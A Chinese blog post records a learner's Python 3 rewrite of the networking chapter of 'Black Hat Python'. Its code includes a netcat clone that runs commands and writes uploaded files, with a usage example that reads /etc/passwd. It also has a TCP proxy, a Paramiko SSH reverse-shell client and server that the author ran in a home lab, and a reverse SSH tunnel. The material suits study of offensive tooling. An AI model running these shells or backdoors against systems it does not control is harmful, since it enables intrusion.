python3黑帽子mbp版(第2章:网络基础)

网友投稿 229 2022-10-11


python3黑帽子mbp版(第2章:网络基础)

写在最前面的话:很早之前就想学python了,趁着买来了书,打算开始python学习之旅。先说下我的工具:使用的是sublime text3编辑器,主要使用的网站是廖雪峰老师的网站,借鉴了很多ODboy博客中的知识点。tcp客户端

#!/usr/bin/env python3 # -*- code: utf-8 -*- import socket target_host="baidu.com" target_port=80 client=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #AF_INET表示IPv4, socket.SOCK_STREAM 表示TCP协议 client.connect((target_host,target_port)) #参数是一个元祖,包含地址和端口号。 client.send(b"GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n") response=client.recv(4096) print (response) client.close

UDP客户端

#!/usr/bin/env python3 # -*- code: utf-8 -*- target_host="127.0.0.1" target_port=12345 client=socket(AF_INET,SOCK_DGRAM) client.sendto("BBC".encode("utf-8"),(target_host,target_port)) print(client.recvfrom(4096).decode("utf-8")) client.close()

这两个是客户端是比较简单的,只有简单的连接功能,由于没有找到合适的UDP客户端,这里直接监听本机端口来连接。

TCP服务端

#!/usr/bin/env python3 #coding=utf8 from socket import * from time import ctime import os  import threading bufsize = 1024 addr = ('0.0.0.0',13140) # 定义socket类型,网络通信 server=socket(AF_INET,SOCK_STREAM) server.bind(addr) server.listen(5) print("listening on",addr) def handle_client(client_socket):     request=client_socket.recv(1024)     print("received:%s" %request)     client_socket.send(bytes("ACK!".encode("utf-8")))     client_socket.close() while True: # client是客户端的socket对象,add是地址加端口,此client等于函数中的client_socket     client,add1=server.accept()     print("accpet connection from:%s:%d" %(add1[0],add1[1])) # 用于线程化的args参数。线程应该是一个元组,所以应该是client,     client_handle=threading.Thread(target=handle_client,args=(client,))     client_handle.start()

这是连接服务端的代码,跟tcp和udp客户端有些小区别。

#coding=utf8 from socket import * host="127.0.0.1" port=13140 data=input("输入要发送的信息:") client=socket(AF_INET,SOCK_STREAM) print("正在连接...") client.connect((host,port)) client.send(data.encode("utf-8")) print ("Connected from ",client.getsockname())     print ("Connected to ",client.getpeername()) print(client.recv(4096).decode("utf-8"))

本地服务端:

本地客户端:

取代netcat

#!/usr/bin/env python3 #coding=utf-8 import sys from socket import * import getopt  #用来处理命令行参数 import threading import subprocess #启动一个shell,并控制输入输出 #-e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。 listen             = False command            = False upload             = False execute            = "" target             = "" upload_destination = "" port               = 0 def usage():     print("netcat")     print("Usage:nc_hacker.py -t target_host -p target_port")     print("-l --listen                - listen on [host]:[port] for incoming connections")     print("-e --execute=ile_to_run   - execute the given file upon receiving a connection")     print("-c --command               - initialize a command shell")     print("-u --upload=destination    - upon receiving connection upload a file and write to [destination]")     print("Examples: ")     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")     print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")     print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")     sys.exit(0) #主函数 def main():     global listen     global port     global execute     global command     global upload_destination     global target     #没有输入值就显示菜单     if not len(sys.argv[1:]):         usage()     try:         #getopt模块处理命令行,         #h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数         #help后面没有等号=,表示后面不带参数,有=,表示后面需要参数         #返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')]         #args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66']         opts,args=getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])     except getopt.GetoptError as err:         print(str(err))         usage()         for o,a in opts:         if o in("-h","--help"):             usage()         elif o in("-l","--listen"):             listen=True                     elif o in("-e","--execute"):             execute=a         elif o in("-c","--command"):             command=True         elif o in("-u","--upload"):             upload_destination=a         elif o in("-t","--target"):             target=a         elif o in("-p","--port"):             port=int(a)         else:             print("unhandled option")     # 从标准输入中发送数据     if not listen and len(target) and port > 0:         # 读取输入的数据         # 这里将阻塞,发送ctrl-d使用         buffer=input()#sys.stdin.read()         # 发送数据         client_sender(buffer)     # 进行监听     if listen:         print('the server is listening on %s:%d' %(target,port))         server_loop() # 客户端代码 def client_sender(buffer):         client = socket(AF_INET, SOCK_STREAM)                 try:             print("start connecting...")             client.connect((target,port))             print("connected")             #如果我们检测到来自stdin的输入。             #如果不是,我们就等待用户输入。             if len(buffer):                 client.send(buffer)             while True:                 # 等待数据回传                 recv_len = 1                 response = ""                 print("waiting response:")                         while recv_len:                     data     = client.recv(4096)                     recv_len = len(data)                     response+= data.decode("utf-8")                     if recv_len < 4096:                         break                 print(response,end="")                 # 等待更多输入                 buffer = input("")                 buffer += "\n"                                       client.send(buffer.encode("utf-8"))         except:                 print("[*] Exception! Exiting.")                 # 断开连接                                   client.close() # 服务端代码 def server_loop():         global target,port                  # 如果没有定义目标,就监听所有接口         if not len(target):             target = "0.0.0.0"                 server = socket(AF_INET,SOCK_STREAM)         server.bind((target,port))         server.listen(5)         while True:             client_socket, addr = server.accept()             # print(client_socket)                     # 分出一个线程来处理新的客户端             client_thread = threading.Thread(target=client_handler,args=(client_socket,))             client_thread.start() # -c命令 def run_command(command):         # 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本         command = command.rstrip()         # 运行命令并将输出返回         try:             #subprocess.STDOUT是抛出异常。             output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)         except:             output = "Failed to execute command.\r\n"         # 将输出发送         return output # 处理传入的客户端连接 def client_handler(client_socket):         global upload,execute,command         # 检测上传文件         if len(upload_destination):                 # 读取所有的字节并写入                 file_buffer = ""                 # 持续读取数据直到没有数据可用为止,有问题                 while True:                         data = client_socket.recv(1024)                         if not data:                                 break                         else:                                 file_buffer += data                                 # 现在我们取这些字节并试着把它们写出来。                 try:                         print('opening')                         file_descriptor = open(upload_destination,"wb")                         file_descriptor.write(file_buffer)                         print('written')                          file_descriptor.close()                                                  # 确认文件是否上传                         client_socket.send("Successfully saved file to %s\r\n" % upload_destination)                 except:                         client_socket.send("Failed to save file to %s\r\n" % upload_destination)         # 检查命令执行         if len(execute):                 # 运行命令                 output = run_command(execute)                 client_socket.send(output)         # 如果需要一个命令shell,那我们进入另一个循环,。         if command:                 while True:                         # 跳出一个窗口                         client_socket.send(b" ")                         #现在我们接收文件直到发现换行符(enter key)                         cmd_buffer = ""                         while "\n" not in cmd_buffer:                                 cmd_buffer += client_socket.recv(1024).decode("utf-8")                         # 返还命令输出                         response = run_command(cmd_buffer)                         # 返回相应数据                         client_socket.send(response) if __name__=="__main__":     main()

本地服务端:

本地客户端:

切换到python3后,netcat中有很多功能不完善,后期有时间要优化一下。

创建一个TCP代理

#!/usr/bin/env python3 #coding=utf-8 import sys from socket import * import threading # 16进制导出函数 def hexdump(src, length=16):     result = []     # 判读输入是否为字符串         digits = 4 if isinstance(src, str) else 2     for i in range(0, len(src), length):        # 将字符串切片为16个为一组        s = src[i:i+length]        # 用16进制来输出,x是digits的值,表示输出宽度        hexa = ' '.join(["%0*X" % (digits, (x))  for x in s])        # 用来输出原值        text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.'  for x in s])        #%-*s, 星号是length*(digits + 1)的值        result.append( "%04X   %-*s   %s" % (i, length*(digits + 1), hexa, text) )     print('\n'.join(result)) # 设置延时有问题,后续更改 def receive_from(connection):         buffer = b""     # 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM)     connection.settimeout(5)     try:             # 保持数据的读取直到没有数据或超时             while True:                     data = connection.recv(4096)                     if not data:                             break                     buffer += data             except:         pass            return buffer # 对目标主机的请求数据进行修改 def request_handler(buffer):     return buffer # 对返回本地主机的响应数据进行修改 def response_handler(buffer):     return buffer def proxy_handler(client_socket, target_host, target_port, receive_first):                  # 连接目标主机         target_socket = socket(AF_INET, SOCK_STREAM)         target_socket.connect((target_host,target_port))         # 必要时从目标主机接收数据         if receive_first:             target_buffer = receive_from(target_socket)             hexdump(target_buffer)             # 发送给我们的响应处理程序             target_buffer = response_handler(target_buffer)             # 如果要发送数据给本地客户端,发送它             if len(target_buffer):                 print("[<==] Sending %d bytes to localhost." % len(target_buffer))                 client_socket.send(target_buffer)                              # 现在我们从本地循环读取数据,发送给远程主机和本地主机         while True:             # 从本地读取数据             local_buffer = receive_from(client_socket)             if len(local_buffer):                     print("[==>] Received %d bytes from localhost." % len(local_buffer))                 hexdump(local_buffer)                 # 发送给我们的本地请求                 local_buffer = request_handler(local_buffer)                 # 发送数据给目标主机                 target_socket.send(local_buffer)                 print("[==>] Sent to target.")                          # 接收响应的数据             target_buffer = receive_from(target_socket)             if len(target_buffer):                 print("[<==] Received %d bytes from target." % len(target_buffer))                 hexdump(target_buffer)                 # 发送到响应处理函数                 target_buffer = response_handler(target_buffer)                 # 将响应发送给本地socket                 client_socket.send(target_buffer)                 print("[<==] Sent to localhost.")                          # 两边没有数据了,就关闭连接             if not len(local_buffer) or not len(target_buffer):                 client_socket.close()                 target_socket.close()                 print("[*] No more data. Closing connections.")                 break          def server_loop(local_host,local_port,target_host,target_port,receive_first):                 server = socket(AF_INET, SOCK_STREAM)         try:                 server.bind((local_host,local_port))         except:                 print("[!!] Failed to listen on %s:%d" % (local_host,local_port))                 print("[!!] Check for other listening sockets or correct permissions.")                 sys.exit(0)                          print("[*] Listening on %s:%d" % (local_host,local_port))                  server.listen(5)                          while True:                 client_socket, addr = server.accept()                 # 本地连接信息                 print("[==>] Received incoming connection from %s:%d" % (addr[0],addr[1]))                 # 开启线程和目标主机通信                 proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,target_host,target_port,receive_first))                 proxy_thread.start() def main():     if len(sys.argv[1:]) != 5:         print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")         print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")         sys.exit(0)     # 本地参数     local_host  = sys.argv[1]     local_port  = int(sys.argv[2])     # 目标参数     target_host = sys.argv[3]     target_port = int(sys.argv[4])     receive_first = sys.argv[5]          if "True" in receive_first:         receive_first = True     else:         receive_first = False              # 开始监听     server_loop(local_host,local_port,target_host,target_port,receive_first) main()

代理服务器:

本地客户端连接:

这个16进制导出函数非常漂亮,花了很多时间在上面学习。

系统中处理数据都是unicode(也就是Python3中的str), 而传输数据用的都是UTF-8(Python3中bytes)

wireshark抓包的时候需要干净的主机(除了需要抓包的应用程序,其他的都不要),而TCP代理可以让你看清楚单个的数据包,可以更好的帮助你了解未知的协议以及其他的信息。

通过Paramiko使用SSH

SSH服务端:

#!/usr/bin/env python3 # coding=utf-8 from socket import * import paramiko import threading import sys #http://freeloda.blog./2033581/1216176    # 使用命令生成私钥openssl genrsa -out rsa_private_key.pem 1024,经过抓包,发现是加密的 #http://jb51.net/article/70036.htm host_key=paramiko.RSAKey(filename='rsa_private_key.pem') class Server(paramiko.ServerInterface):     def __init__(self):         # 执行start_server()方法首先会触发Event,如果返回成功,is_active返回True         self.event=threading.Event()     # 当认证成功,client会请求打开一个Channel     def check_channel_request(self, kind, chanid):         if kind=='session':             return paramiko.OPEN_SUCCEEDED         return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED     # 当is_active返回True,进入到认证阶段     def check_auth_password(self,username,password):         if (username=='Star') and (password=='123'):             return paramiko.AUTH_SUCCESSFUL         return paramiko.AUTH_FAILED      server=sys.argv[1] ssh_port=int(sys.argv[2]) # 建立服务端socket try:     sock = socket(AF_INET, SOCK_STREAM)     # SOL_SOCKET    意思是正在使用的socket选项。       # SO_REUSEADDR  当socket关闭后,本地端用于该socket的端口号立刻就可以被重用     # 1    表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。     sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)     sock.bind((server, ssh_port))     sock.listen(100)     print('[+] Listening for connection ...')     client, addr = sock.accept() except Exception as e:     print ('[-] Listen failed: ' + str(e))     sys.exit(1) print ('[+] Got a connection!') try:     # 用sock.accept()返回的socket实例化Transport     bhSession = paramiko.Transport(client)     # 添加一个RSA密钥加密会话     bhSession.add_server_key(host_key)     server = Server()     try:         # 启动SSH服务端             bhSession.start_server(server=server)     except paramiko.SSHException as x:         print ('[-] SSH negotiation failed.')     chan = bhSession.accept(20)     # 等待客户端开启通道,超时时间为20s     # accept(timeout=None)     # Return the next channel opened by the client over this transport, in server mode. If no channel is opened before the given timeout, None is returned.         # Parameters:   timeout (int) – seconds to wait for a channel, or None to wait forever         # Returns:  a new Channel opened by the client     # http://docs.paramiko.org/en/1.15/api/transport.html     print ('[+] Authenticated!')     print (chan.recv(1024))     chan.send(b'Welcome to ssh')     while True:         try:             command= input("Enter command: ").strip('\n')             if command != 'exit':                 # 输入值编码                 chan.send(command.encode("utf-8"))                 # 接收值编码                 print(chan.recv(1024).decode("utf-8") + '\n')             else:                 chan.send(b'exit')                 print ('exiting')                 bhSession.close()                 #正常情况没有输出,这里让它报出异常                 raise Exception ('exit')         except KeyboardInterrupt:             bhSession.close() except Exception as e:     print ('[-] Caught exception: ' + str(e))     try:         bhSession.close()     except:         pass     sys.exit(1)

ssh客户端:

#!/usr/bin/env python3 #coding=utf-8 import threading import paramiko import subprocess def ssh_command(ip,user,passwd,command):     # 建立一个sshclient对象     client = paramiko.SSHClient()     # client.load_host_keys("路径")     # 允许将信任的主机自动加入到host_allow列表,此方法必须放在connect方法的前面     client.set_missing_host_key_policy(paramiko.AutoAddPolicy())     # 连接服务器     client.connect(ip, username=user, password=passwd)     ssh_session = client.get_transport().open_session()     if ssh_session.active:         ssh_session.send(command.encode("utf-8"))         # 输出banner信息         print(ssh_session.recv(1024).decode("utf-8"))         while True:             # 从服务端获得命令             command =ssh_session.recv(1024).decode("utf-8")             try:                 cmd_output = subprocess.check_output(command,shell =True)                 ssh_session.send(cmd_output)             except Exception as e:                 ssh_session.send(str(e).encode("utf-8"))         client.close()     return     #如何让command输出字符串 ssh_command("192.168.3.110","Star","123","ClientConnected")

在本地我生成了一个私钥,没有生成公钥,然后就可以秘钥连接了:

openssl genrsa -out rsa_private_key.pem 2048

ssh客户端:

ssh服务端:

我把服务端放在了我的Win10上,可以看到获取到了mac上的shell。这里是反向链接,是放在目标主机上的是客户端。

ssh隧道

#!/usr/bin/env python3 #coding=utf-8 import paramiko import sys import socket from optparse import OptionParser import threading import getpass import os import select SSH_PORT = 22 DEFAULT_PORT = 4000 g_verbose = True HELP = """\ Set up a reverse forwarding tunnel across an SSH server, using paramiko. A port on the SSH server (given with -p) is forwarded across an SSH session back to the local machine, and out to a remote site reachable from this network. This is similar to the openssh -R option. """ def get_host_port(spec, default_port):     # 解析'主机名:22'到主机和端口,端口可选。     args = (spec.split(':', 1) + [default_port])[:2]     args[1] = int(args[1])     return args[0], args[1] # https://ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html def main():     # 传入参数,server指ssh服务器,remote指要连接的服务器     # options,它是一个对象,保存有命令行参数值。知道命令行参数名,就可以访问其对应的值:options.file     options,server,remote = parse_options()     password = None     if options.readpass:         password = getpass.getpass("Enter SSH password:")     # 建立一个sshclient对象     client = paramiko.SSHClient()     # 加载本地的known_hosts文件,纪录连到对方时,对方给的host key。每次连线时都会检查     # 目前对方给的host key与纪录的host key是否相同,可以简单验证连结是否又被诈骗等相关事宜。     client.load_system_host_keys()     # 用ssh连接远程主机时,第一次连接时会提示是否继续进行远程连接,选择yes     # 这里主动帮你选上yes     client.set_missing_host_key_policy(paramiko.WarningPolicy())          verbose("Connecting to ssh host %s:%d ..." %(server[0], server[1]))     try:         client.connect(server[0],server[1],username = options.user,key_filename =\         options.keyfile,look_for_keys = options.look_for_keys,password = password)      except Exception as e:         print("*** Failed to connect to %s:%d:%r" %(server[0],server[1],e))         sys.exit(1)          verbose("Now forwarding remote port %d to %s:%d ..." %((options.port),\         remote[0],remote[1]))          try:         #get_transport返回用于此目的的底层传输SSH连接。这可以被用于执行低级别的任务,如打开特定的通道。         #client.get_transport=实例化transport         reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())     except KeyboardInterrupt:         print("C-c: Port forwarding stopped.")         sys.exit(0) def verbose(s):     if g_verbose:         print(s) def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):     # request_port_forward  ==> 把端口数据的发送和接收通过新的传输通道转发出去     transport.request_port_forward("", server_port)        while True:         chan = transport.accept(1000)         if chan is None:             continue         thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))         thr.setDaemon(True)         thr.start() def handler(chan, host, port):     sock = socket.socket()     try:         sock.connect((host, port))     except Exception as e:         verbose("Forwarding request to %s:%d failed: %r" % (host, port, e))         return          verbose("Connected!  Tunnel open %r -> %r -> %r" % (chan.origin_addr,\         chan.getpeername(), (host, port)))     while True:         # http://cnblogs.com/alex3714/p/4372426.html         # select通过单进程实现同时处理多个非阻塞的socket连接。         # 可以为系统底层中接收就绪一个消息后就会标注一个记号,我们读取到记号后采取相应的动作。         # 这里实现了channel与sock的数据交换。         r, w, x = select.select([sock, chan], [], [])         if sock in r:             data = sock.recv(1024)             if len(data) == 0:                 break             chan.send(data)         if chan in r:             data = chan.recv(1024)             if len(data) == 0:                 break             sock.send(data)     # 停止发送和接收数据     chan.close()     sock.close()     verbose("Tunnel closed from %r" % (chan.origin_addr,)) def parse_options():     global g_verbose     # http://blog.csdn.net/cclarence/article/details/50964316     # 解析命令行参数,dest的值是options点后面加的值     parser = OptionParser(usage='usage: %prog [options] [:]',                           version='%prog 1.0', description=HELP)     parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,                       help='squelch all informational output')     parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',                       default=DEFAULT_PORT,                       help='port on server to forward (default: %d)' % DEFAULT_PORT)     parser.add_option('-u', '--user', action='store', type='string', dest='user',                       default=getpass.getuser(),                       help='username for SSH authentication (default: %s)' % getpass.getuser())     parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',                       default=None,                       help='private key file to use for SSH authentication')     parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,                       help='don\'t look for or use a private key file')     parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,                       help='read password (for key or password auth) from stdin')     parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',                       help='remote host and port to forward to')     options, args = parser.parse_args()     if len(args) != 1:         parser.error('Incorrect number of arguments.')     if options.remote is None:         parser.error('Remote address required (-r).')     g_verbose = options.verbose     server_host, server_port = get_host_port(args[0], SSH_PORT)     remote_host, remote_port = get_host_port(options.remote, SSH_PORT)     return options, (server_host, server_port), (remote_host, remote_port) if __name__ == '__main__':     main()

路由器的登录页面

这里是用mac连接kali的机子,然后在kali上查看路由器的登录页面。


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:0001 kali linux 学习之起航篇(000159)
下一篇:Java经典面试题汇总:Mybatis
相关文章

 发表评论

暂时没有评论,来抢沙发吧~